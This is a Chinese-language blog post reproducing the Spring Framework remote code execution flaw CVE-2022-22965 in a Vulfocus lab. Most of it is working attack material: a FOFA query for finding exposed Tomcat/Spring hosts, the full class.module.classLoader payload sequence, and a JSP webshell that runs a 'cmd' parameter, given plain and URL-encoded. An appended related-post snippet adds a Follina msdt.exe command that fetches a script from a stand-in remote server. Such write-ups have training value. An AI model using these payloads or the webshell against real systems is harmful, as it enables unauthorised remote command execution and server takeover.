[CVE-2022-22965]Spring远程代码执行漏洞复现

漏洞概述(级别:高危)

续上一次Log4j2后,于2022年03月29日,Spring官方发布了Spring框架远程命令执行漏洞公告(CNVD-2022-23942、CVE-2022-22965)

攻击者可以通过构造恶意请求来利用这些漏洞,从而造成任意代码执行,未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行,该漏洞广泛存在于Spring框架以及衍生的框架中,JDK 9.0及以上版本会受到此漏洞影响

FOFA语法

app="APACHE-Tomcat" || app="vmware-SpringBoot-framework" || app="vmware-SpringBoot-framework" || app="vmware-Spring-Batch" || app="vmware-Spring-framework" || app="vmware-Spring-Security") && country="CN"

影响范围

  • 使用JDK9或更高版本

  • 使用Apache Tomcat作为Servlet容器

  • 基于spring-webmvc或spring-webflux

  • 使用传统WAR部署

  • Spring版本为5.3.0至5.3.17,5.2.0至5.2.19

漏洞复现

复现环境:Vulfocus 漏洞威胁分析平台

环境名称:vulfocus/spring-core-rce-2022-03-29:latest

开启环境

访问123.58.236.76中25683端口  

传入构造的POC第一步:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{content}i

调用class对象,通过ClassLoader取resources。context是Tomcat的StandardContext,parent拿到的是StandardEngine,pipeline拿到的是StandardPipeline,最终是给AccessLogValve对象的几个属性的赋值操作

%i 这个语法是从请求的header里面拿content,header的值目的是为了迎合tomcat日志的pattern

传入构造的POC第二步,日志会按照我们想要的方式,生成.jsp文件:

suffix是日志文件的后缀

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

传入构造的POC第三步,写入网站根目录:

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

传入构造的POC第四步:

prefix修改日志文件的前缀

class.module.classLoader.resources.context.parent.pipeline.first.prefix=ganyu

传入构造的POC第五步,fileDateFormat是日期文件的时间格式,这里设置为空:

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

payload:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{content}i

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=ganyu

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

依次传入payload,就会在tomcat的webapps的Root目录下生成一个jsp文件

POC1:

注意:这里因为环境重启了,导致我的ip和端口发生改变

POC2:

POC3:

POC4:

POC5:

访问prefix修改后的jsp文件

上传webshell

接下来需要做的就是将内容更改为webshell,并让它解析就可以了 写入webshell到网站根目录

class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring

webshell:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("t".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

url编码webshell:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

所以顺序就是:

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring

url编码webshell:

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

这里的环境又没了,ip和端口重新更换了一下,每次环境只能开10分钟,我真的是服了这老六了,真特么扣

按照以上顺序重新上传一次

命令执行,flag在/tmp下

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
CVE-2022-30190是一个针对Microsoft的漏洞,被称为msdt远程代码执行漏洞。该漏洞允许攻击者通过利用命令行工具"msdt.exe"的特定参数进行远程代码执行。以下是关于该漏洞复现过程。 首先,我们需要使用攻击者控制的远程服务器,以便在受影响的目标系统上执行恶意代码。我们创建以下PHP脚本,将其上传到我们的远程服务器上: ``` <?php system('calc.exe'); ?> ``` 这段代码将在目标系统上执行计算器应用程序,然后我们将通过"msdt.exe"命令行工具的特定参数利用该漏洞。 在受影响的目标系统上,我们将打开命令提示符,并执行以下命令: ``` msdt.exe "http://your-remote-server.com/evil-script.php" /id "netwoCpl" /showUI ``` 上述命令将启动"msdt.exe"并使用指定的URL作为参数,同时还指定了"networkCpl"作为"msdt.exe"的标识符。最后,使用"/showUI"参数显示用户界面。 当目标系统执行此命令时,"msdt.exe"会检索远程服务器上的脚本文件,并尝试执行该脚本。由于脚本文件具有恶意代码,它将在目标系统上执行计算器应用程序。 这就是CVE-2022-30190 msdt远程代码执行漏洞的一个简单复现过程。然而,值得注意的是,这只是为了说明该漏洞的原理,实际的攻击可能需要更复杂的技术和步骤。为了保护系统安全,我们建议及时更新受影响的软件,以修补此漏洞。还应该维护良好的网络安全措施,以减少被利用的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值